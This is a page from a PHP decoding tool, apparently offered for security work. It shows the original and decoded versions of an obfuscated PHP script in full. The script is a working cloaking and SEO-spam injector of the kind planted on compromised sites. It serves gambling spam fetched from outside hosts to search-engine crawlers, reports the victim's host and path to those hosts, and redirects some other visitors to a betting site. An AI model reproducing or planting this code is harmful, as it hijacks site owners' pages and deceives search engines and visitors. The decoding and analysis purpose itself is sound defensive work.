Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto Xj20ITY76s; Xj20ITY76s: header("Cache-Control: no-cache, must-revalidate"); ..
Decoded Output download
<?php
goto Xj20ITY76s; Xj20ITY76s: header("Cache-Control: no-cache, must-revalidate"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); set_time_limit(0); error_reporting(0); header("Content-Type: text/html;charset=utf-8"); goto mRGvLW_eUH; EhSjmOT3Tm: function getContents($url) { goto DG0_nwnwwm; lEXsFD0NXo: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $result = curl_exec($ch); curl_close($ch); if (!($result == NULL)) { goto ZAAp9ju0XT; } return file_get_contents($url); goto Pa50jD3YJo; Pa50jD3YJo: ZAAp9ju0XT: return $result; JIyky02RdJ: goto PVw4qm25Wf; lDk86KI55t: curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); goto lEXsFD0NXo; DG0_nwnwwm: if (function_exists("curl_init")) { goto WGo0ToPUhB; } return file_get_contents($url); goto JIyky02RdJ; WGo0ToPUhB: $ch = curl_init(); goto lDk86KI55t; PVw4qm25Wf: } $key = $_SERVER["HTTP_USER_AGENT"]; if (isEngines($key)) { goto wodThkmQFy; } if (!isIncludes()) { goto uLhHscmEE5; } header("Location: https://qh11.vip/"); goto LURf5UoTJp; gM94RgSH2K: if (isIncludes()) { goto rvr_8_dDF9; } $content = file_get_contents("http://shuju.vn1788.com/qh88.php"); $content = preg_replace("/href=["']" . preg_quote(base64_decode("aHR0cHM6Ly9xaDg4LnZuMTc4OC5jb20v"), "/") . "([^"']+)["']/i", "href="$1"", $content); echo $content; goto TJOLvgTbRm; goto LPgXNup4bx; krz9PucQJC: TJOLvgTbRm: goto yOLsl3_cxe; mRGvLW_eUH: define("URI", $_SERVER["REQUEST_URI"]); define("host", base64_decode("aHR0cHM6Ly9xaDg4LnZuMTc4OC5jb20v")); define("MULU", "app|ios|android|download|blank|bet|casino|games|ppt|poker|root"); function isEngines($key) { return stristr($key, "Googlebot") !== false || stristr($key, "Bingbot") !== false || stristr($key, "Yahoo!") !== false; } function isIncludes() { $re = 0; $temp = explode("|", MULU); foreach ($temp as $v) { if (!(stristr(URI, $v) !== false)) { goto Hy8_y5Np5j; } $re = 1; Hy8_y5Np5j: P_k_hiGhbN: } Zfx0Sz3OKu: return $re; } goto EhSjmOT3Tm; LPgXNup4bx: rvr_8_dDF9: $content = getContents(host . "?xhost=" . $_SERVER["HTTP_HOST"] . "&reurl=" . URI . "&ua=Baiduspider" . "&f=bd"); $content = preg_replace("/href=["']" . preg_quote(base64_decode("aHR0cHM6Ly9xaDg4LnZuMTc4OC5jb20v"), "/") . "([^"']+)["']/i", "href="$1"", $content); echo $content; exit; goto krz9PucQJC; LURf5UoTJp: exit; uLhHscmEE5: goto jp97jEBROj; wodThkmQFy: header("Content-Type:text/html;charset=utf-8"); goto gM94RgSH2K; yOLsl3_cxe: jp97jEBROj: ?>
Did this file decode correctly?
Original Code
<?php
goto Xj20ITY76s; Xj20ITY76s: header("Cache-Control: no-cache, must-revalidate"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); set_time_limit(0); error_reporting(0); header("Content-Type: text/html;charset=utf-8"); goto mRGvLW_eUH; EhSjmOT3Tm: function getContents($url) { goto DG0_nwnwwm; lEXsFD0NXo: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $result = curl_exec($ch); curl_close($ch); if (!($result == NULL)) { goto ZAAp9ju0XT; } return file_get_contents($url); goto Pa50jD3YJo; Pa50jD3YJo: ZAAp9ju0XT: return $result; JIyky02RdJ: goto PVw4qm25Wf; lDk86KI55t: curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); goto lEXsFD0NXo; DG0_nwnwwm: if (function_exists("curl_init")) { goto WGo0ToPUhB; } return file_get_contents($url); goto JIyky02RdJ; WGo0ToPUhB: $ch = curl_init(); goto lDk86KI55t; PVw4qm25Wf: } $key = $_SERVER["HTTP_USER_AGENT"]; if (isEngines($key)) { goto wodThkmQFy; } if (!isIncludes()) { goto uLhHscmEE5; } header("Location: https://qh11.vip/"); goto LURf5UoTJp; gM94RgSH2K: if (isIncludes()) { goto rvr_8_dDF9; } $content = file_get_contents("http://shuju.vn1788.com/qh88.php"); $content = preg_replace("/href=["']" . preg_quote(base64_decode("aHR0cHM6Ly9xaDg4LnZuMTc4OC5jb20v"), "/") . "([^"']+)["']/i", "href="$1"", $content); echo $content; goto TJOLvgTbRm; goto LPgXNup4bx; krz9PucQJC: TJOLvgTbRm: goto yOLsl3_cxe; mRGvLW_eUH: define("URI", $_SERVER["REQUEST_URI"]); define("host", base64_decode("aHR0cHM6Ly9xaDg4LnZuMTc4OC5jb20v")); define("MULU", "app|ios|android|download|blank|bet|casino|games|ppt|poker|root"); function isEngines($key) { return stristr($key, "Googlebot") !== false || stristr($key, "Bingbot") !== false || stristr($key, "Yahoo!") !== false; } function isIncludes() { $re = 0; $temp = explode("|", MULU); foreach ($temp as $v) { if (!(stristr(URI, $v) !== false)) { goto Hy8_y5Np5j; } $re = 1; Hy8_y5Np5j: P_k_hiGhbN: } Zfx0Sz3OKu: return $re; } goto EhSjmOT3Tm; LPgXNup4bx: rvr_8_dDF9: $content = getContents(host . "?xhost=" . $_SERVER["HTTP_HOST"] . "&reurl=" . URI . "&ua=Baiduspider" . "&f=bd"); $content = preg_replace("/href=["']" . preg_quote(base64_decode("aHR0cHM6Ly9xaDg4LnZuMTc4OC5jb20v"), "/") . "([^"']+)["']/i", "href="$1"", $content); echo $content; exit; goto krz9PucQJC; LURf5UoTJp: exit; uLhHscmEE5: goto jp97jEBROj; wodThkmQFy: header("Content-Type:text/html;charset=utf-8"); goto gM94RgSH2K; yOLsl3_cxe: jp97jEBROj: ?>
Function Calls
None |
Stats
MD5 | c29ffa72bd0e0cb2b292de7fb58eb6c4 |
Eval Count | 0 |
Decode Time | 41 ms |